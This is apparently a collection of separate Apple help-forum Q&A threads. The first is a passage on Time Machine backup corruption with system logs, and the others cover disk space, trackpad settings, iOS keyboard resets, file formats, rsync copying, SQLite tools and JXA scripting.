2013-06-07 22:28:49.157 com.apple.backupd[18433]    Unexpected result from MDBackupIndexFile (1) for: /Volumes/spare/Tocar y Luchar JAA.cdr, /Volumes/Time Machine Backups/Backups.backupdb/GPES3E-gjp4-1/2013-06-06-215332.inProgress/9086512E-E386-475E-AE99-34BAA1D2E485/spare/Tocar y Luchar JAA.cdr
2013-06-07 22:28:51.508 com.apple.backupd[18433]    Error: Flushing index to disk returned an error: 1
2013-06-07 22:28:51.508 com.apple.backupd[18433]    Copied 1786746 files (77.59 GB) from volume spare.
2013-06-07 22:29:11.108 com.apple.backupd[18433]    Backup canceled.
2013-06-07 22:29:23.227 com.apple.backupd[18433]    Ejected Time Machine disk image: /Volumes/tall/com.apple.backupd/GPES3E-gjp4-1.sparsebundle
2013-06-07 23:10:44.791 com.apple.backupd[28884]    Starting automatic backup
2013-06-07 23:10:45.269 com.apple.backupd[28884]    Backup failed with error: 1002
2013-06-07 23:10:45.382 com.apple.backupd[28884]    Starting automatic backup
2013-06-07 23:10:46.446 com.apple.backupd[28884]    Resizing backup disk image from 2.6 TB to 2.6 TB
2013-06-07 23:10:50.162 com.apple.backupd[28884]    Runtime corruption detected on /Volumes/tall/com.apple.backupd/GPES3E-gjp4-1.sparsebundle (fsck_hfs -q termination status: 3)

the message at 2013-06-07 22:28:49 is eye-catching, but expected in my case (symptom of a bug involving HFS Plus; a corruption that involves AppleFSCompression) – probably negligible in the context of this answer
the message at 2013-06-07 22:28:51 may be more relevant to the file system failure.

/private/var/log/fsck_hfs.log then showed:

/dev/rdisk7s2: fsck_hfs run at Fri Jun  7 23:10:48 2013
/dev/rdisk7s2: ** /dev/rdisk7s2 (NO WRITE)
/dev/rdisk7s2:    Executing fsck_hfs (version diskdev_cmds-557.3.1~5).
QUICKCHECK ONLY; FILESYSTEM DIRTY

/dev/rdisk7s2: fsck_hfs run at Fri Jun  7 23:10:49 2013
/dev/rdisk7s2: ** /dev/rdisk7s2 (NO WRITE)
/dev/rdisk7s2:    Executing fsck_hfs (version diskdev_cmds-557.3.1~5).
QUICKCHECK ONLY; FILESYSTEM DIRTY

Confirming that no error affected the underlying storage at the time:

GPES3E-gjp4-1:~ gjp22$ date
Sat  8 Jun 2013 06:57:46 BST
GPES3E-gjp4-1:~ gjp22$ uptime
 6:57  up 21:51, 5 users, load averages: 0.92 1.27 1.37
GPES3E-gjp4-1:~ gjp22$ zpool status
  pool: gjp22
 state: ONLINE
 scan: scrub repaired 0 in 24h8m with 0 errors on Sat May 25 23:25:38 2013
config:

    NAME                                         STATE     READ WRITE CKSUM
    gjp22                                        ONLINE       0     0     0
      GPTE_71B8BDA2-3EBA-4B91-9E1C-2AE2B1DAAD06  ONLINE       0     0     0  at disk3s2
    cache
      GPTE_2605CCB0-67B7-4C93-A4B1-83EF764CE617  OFFLINE        1.48Ki     0

errors: No known data errors

  pool: tall
 state: ONLINE
 scan: scrub repaired 0 in 28h10m with 0 errors on Sun May 26 18:47:22 2013
config:

    NAME                                         STATE     READ WRITE CKSUM
    tall                                         ONLINE       0     0     0
      GPTE_78301A52-4AFF-4D96-8DE9-E76ABC14909C  ONLINE       0     0     0  at disk2s2
      GPTE_99056308-F5E2-4314-852C-4DA04732A2D0  ONLINE       0     0     0  at disk6s2

errors: No known data errors
GPES3E-gjp4-1:~ gjp22$

In simple terms

Whilst we'd like a solution, file system failures such as this seem to be:

unpredictable
unavoidable
sometimes irreparable.

In the absence of a good solution, my best advice is to not rely on a single Time Machine backup. The risk of eventual failure and inability to repair is simply too high.

Degrees of failure

In the past I sometimes forced fsck_hfs(8) to rebuild b-tree files … with limited success but not certainty. Whilst a file system may appear to be OK (in Disk Utility and the like) I would not no longer trust it for Time Machine backup or restoration purposes.

In the most recent case (above) multiple applications of force (multiple rebuilds of the catalog b-tree, a rebuild of the extended attributes b-tree and a rebuild of the extents b-tree) have not led to a verifiable file system. I have debug logs from these attempts, which I'll not begin to summarise here; they're massive.

With locally attached disks (USB 2.0), attempts to repair Time Machine backup volumes can be extraordinarily time consuming. Wireless – over AFP – you may find the time required intolerable.

Time Machine - Troubleshooting – C13.  "…Time Machine must create a new backup for you." (James Pond) includes much useful information. Essentially:

  … backups are corrupted beyond Disk Utility's ability to fix …

When OS X reports that an HFS Plus file system appears to be OK, there may be significant issues with the disk – issues that OS X simply can not detect.

As corruption has occurred more than once, there may be a problem with:

hardware, firmware and/or software of the NAS.

What make and model is the NAS?

Hard disks of the NAS

If the OS of the NAS allows you to verify integrity of blocks on its disks: please do so.

If the OS of the NAS lacks that capability, then aim to boot the hardware with a different OS that's more suitable for testing. Options might include Ubuntu and a run of badblocks.

Checks of this type:

will be time consuming; but
should help you to determine whether the state of the disk(s) is contributory to the multiple failures.


Where is my disk space going? My available disk space seems to «vanish» magically.

OmniDiskSweeper tells me that 69.5 GB data is on my hard drive, but how come Finder and Terminal (and OmniDiskSweeper's drive list itself) tell me that 110.7 GB is being used?

I can't find the remaining 41 GB of space on my own, I don't have any backups on my startup disk, I tried a lot of things: Rebooting, installing updates, looking through my Application Support folder, Clearing caches, First Aid in Disk Utility app, CleanMyMac, ...

I only have one partition and according to OS X's Disk Utility there's no disk space not assigned to a partition. I don't use File Vault at the moment and I never used it before; same thing with Time Machine. OS X's menu option «About My Mac» first told me Apps would use about 70 GB, which was clearly wrong, so I rebuilt Spotlight Index using Terminal. Now it shows 15.08 GB as «Apps» (which is correct) and 87.52 GB as «Other».

Where are the 41 GB that never show up anywhere?

OmniDiskSweeper may not be running with administrator privileges and it cannot access all folders, therefore it is not counting everything.

The command du -x -sk /* in Terminal may give you a better/correct result.


What's the difference between one finger dragging and drag lock? If I go into Settings > Trackpad and enable Tap to click, I can enable the settings Dragging and Drag Lock.

What is the difference between these two settings?

It appears that they are doing the same exact thing when I try to use them. From my understanding, if I don't have drag lock enabled, I should be able to double tap then drag a window, after I lift up my finger, the dragging should stop. However, that is not the case, I must tap again in order for the dragging to stop.

I believe I figured out the difference:

Dragging:

Double tap and hold to begin dragging.
Release the mouse.
Depending on the amount of time that has passed, moving the mouse will do one of the following:

Brief delay: moving the mouse continues the dragging, essentially behaving the exact same way as drag lock. The cycle is then repeated once you release your finger.
Longer delay: dragging is stopped.

Dragging & Drag Lock:

Double tap and hold to begin dragging.
Release the mouse.
Moving the mouse will continue dragging.
Tap once to stop the dragging.

It's that brief delay that was throwing me off. There doesn't seem to be any way to customize the length of this delay. One thing that does help, though, is figuring out exactly how long this delay is. One method for figuring this out is the following:

Drag an icon from the dock a tiny bit so that if you were to release it, it wouldn't be deleted.
Release the mouse.
Observe how long it takes for the icon to move back to its place. That is the exact amount of minimum time that you should wait when you are finished dragging something.


QuickType capitalises words unnecessarily Quite some time ago, QuickType started capitalising the word "long" into "Long", even if it was not the first word in the sentence. This issue has begun to affect more than the word long, and a few are mentioned below:

long -> Long
low -> Low
cricket -> Cricket
teachers -> Teachers

There are many more, but they are too many to list and don't exactly contribute to the purpose of this question.

I don't usually capitalise these words, some of them I have never used before (in the case of "cricket"), but they are just capitalised like that.

Is there any logical explanation as to why QuickType seems to be capitalising these words as and when it pleases?

While I can't provide an explanation as to why this is happening, if this is really bothering you I recommend resetting the keyboard dictionary.  This is the 'nuclear option' for keyboard problems but it looks like you've tried everything else already.

To do this, go to Settings -> General -> Reset and tap on “Reset Keyboard Dictionary”.  Be care you tap the correct link here because you can accidentally reset a bunch of other parts of your iPhone, including Network or the entire iPhone.  Confirm you want to reset the dictionary and it will be wiped back to the factory defaults.

This will erase any and all modifications you have made to the keyboard but it will not erase any shortcuts you created or contact list entry name/nicknames.


Delete unwanted apps completely My child accidentally downloaded an inappropriate software and I want to delete all history of me ever having it. How can I do this?

It is a bit tricky under OS X/macOS. If you are not tech savvy, try a third party app.

Otherwise, open the Terminal (search for it via Spotlight), and then paste following line:

sudo find / -iname "NAME_OF_YOUR_APP" >> ~/Desktop/t.txt

Replace NAME_OF_YOUR_APP with the name your actual app you want to delete. Afterwards, you'll see a text file at your Desktop. Open it. Here you have all paths of the app you try to delete. Go via the Finder to every place and delete the files by hand.

  Be careful and make sure the files are really the once from the app
  and not duplicates from other apps in your system.


How can I use an old mac as an external display using software? I want to use a "space" or "application" with another computer on the network. Just the UI not keyboard and mouse.

The other goal is to add a pseudo screen, without getting an extra monitor. Can't use os x native screen sharing as that will always have the same content as current action space.

Any ideas..?

old mac  = imac 2009, so cannot use as a targetted display. can use hardware to make it happen.

Similar to Can I use my early 2009 iMac as an external screen?

also similar to http://synergy-project.org/

It seems ScreenRecycler does what you need. There's a trial version available, so you can try it.


Mac Pro (5,1 - Mid 2010) + Mini DisplayPort to DVI Adapter + DVI Monitor = blank LCD I just received a new 2.8 Ghz Mac Pro with an ATI 5770. I have one LCD connected to the DVI port which is working fine. I have another DVI LCD connected over a mini DisplayPort to DVI adapter to one of the mini DisplayPort ports. This mini DisplayPort to DVI LCD doesn't register at all.

I've tried three different models of LCDs. System Profiler simply says "No Display Connected." I have tried restarting numerous times and the only other possible solution I've read is to reset the PRAM. I'd like to know if that's actually worth my time or if I'm missing some other configuration change that's necessary.

The Mini DP adapter was not fully plugged into the machine.  It required a little more force than I was comfortable using to fully seat.


External drive format to be writeable on both Mac and Windows What file-format an external drive has to be for it to be writeable on both Macs and Windows machines?

I have a 750GB external drive originally formatted in NTFS for Windows, but it's not writeable on Mac. I know FAT32 is writeable by both systems but am I correct to remember that it has limits to partition size (32GB if formatted from Windows or 2TB) and file size (4GB)? If that's the case then it's not good for me as I use it to transfer files over 5GB.

According to this answer, you can use exFAT if your version of Mac OS X and Windows are new enough. That would be at least Mac OS X 10.6.5 and Windows Vista SP1.


Can a mac boot from an external drive, if the external drive is running an older version of macOS? In general, can a make that has a newer version of macOS on it boot from an external hard drive that has an older version of macOS on its main drive?
For example, could I boot High Sierra from an external hard drive on a mac that has Catalina installed on its' main drive?
Why? I have a mac desktop running Catalina that's a work machine. I'd like to use the hardware for personal use, and run macOS using an external hard drive, using an older version of macOS that I've purchased myself, but when I try, I see the "Prohibited" sign on the drive when I try and boot from it.
I tried to use the external drive with a macbook running El Capitan, and it worked fine
EDIT: The model is "iMac Retina 4k, 21.5, 2019"

A 2019 Mac is much too new to be able to boot High Sierra. In general, a Mac cannot run any macOS version whose release date is earlier than the release date of the Mac.
If you have a specific need to run an older macOS version (but no older than Lion, or at most Snow Leopard Server), you can do so in a virtual machine using software like Parallels or VMware Fusion.


How can I disable websites from being able to open App Store on iOS? As the title says, how can I disable websites from being able to open App Store on iOS?

I was reading a news website and clicked a link that opened a new tab (an advertisement) which then went on to opening my App Store and going to an Apps download page.

How can I disable websites from being able to open App Store on iOS?

I use 1Blocker and Adamant content filters to block most JavaScript and trackers. That and careful decisions about what sites to visit have stopped this entirely from my iOS experience.

The ways that an advertiser can pay for placement means that some sites, you will never be able to get around this annoyance, but when it does happen, you can make note of that site abusing your time and at some point, you can stop visiting those sites where you are forced away from their content that you came to read in the first place.


What does preparing to copy mean? I'm trying to copy a large amount of files from a hard drive to a time capsule. Around 200 GB.
Normally copying files in OSX is quite fast and simple, but I found this unmanageable, as before it starts copying it prepares to copy the files, And the number of files to copy slowly increases.

Normally this stage is over in the blink of an eye, but because of the large volume it took more than 20 minutes, I gave up after that.
What exactly is it doing in this time? Why does it need to do that, when I'm simply copying one folder (there is just one folder in the root level of the hard drive) so it knows that all the files are in there.

Is there anyway to skip this process, as it is actually faster, although more time consuming for me, to copy smaller chunks of it, one after the other?

Why can't it just copy all the 1s and 0s across without any of this preparing?

Not sure what the 'preparing' stage actually does.  I suspect it could have something to do with verifying that the destination doesn't have files/folders that are present in the source (leading to it having to ask you what to do about the conflict).

In either case, if you are comfortable with terminal, you can use rsync which begins copying immediately and gives you feedback right away.

I would use something like:

rsync --partial --progress -av ~/Desktop/MyFolder /Volumes/MyTimeCapsule/

Good luck!


SQLite frontend for OS X? I am looking for a preferably free SQLite frontend to use under OS X.

Something similar to MySQL Workbench will do. Put separate suggestions in separate answers.

DB Browser for SQLite

  DB Browser for SQLite is a light GUI
  editor for SQLite databases, built on
  top of Qt. The main goal of the
  project is to allow non-technical
  users to create, modify and edit
  SQLite databases using a set of
  wizards and a spreadsheet-like
  interface.


iphone 4 update to ios 7 failed - cycles in and out of restart screen IOS7 appears to have been installed on my Iphone 4.  It comes on, apps start but then the "restart screen" appears after 1-30 secs.  After another 20-60 secs, the "restart screen" disappears and the app begins where it had left off.

Just to be clear, by "restart screen" I mean a black background with centered white apple and a progress bar beneath the apple.  The progress bar lights up to maybe 1-3% but never any further (and sometimes less) no matter how long it remains in this state.

If you have a recent backup (and thus aren't afraid of doing a fresh install and restore), there are a few things to try - all of them involve putting the phone in a mode that makes iTunes prompt you to do a complete restore/update/sync afresh.

Put the phone in Recovery Mode, and restore it.

If that doesn't help:

Try putting the phone in DFU mode and restoring it.
If you find the above instructions difficult to follow, especially with the timing between actions

just download redsn0w (look for the download links at the bottom of the blog post)
run redsn0w
go to the DFU option
it will guide you step-by-step to put the phone in DFU mode
once that's done, restore it from iTunes. Although redsn0w is primarily meant for jailbreaking, it is very useful for putting a phone in DFU mode.


How to launch a Spotlight deeplink from JXA? Red Hot Timer uses the Spotlight search bar to create new timers.
From AppleScript I can run

open location "timer://30m"

to start the timer.
I have tried

app = Application.currentApplication();
app.includeStandardAdditions = true;

function openLocation() {"timer://30m"}
openLocation()

To run a Spotlight command use openLocation.

app = Application.currentApplication();
app.includeStandardAdditions = true;

app.openLocation("timer://30m")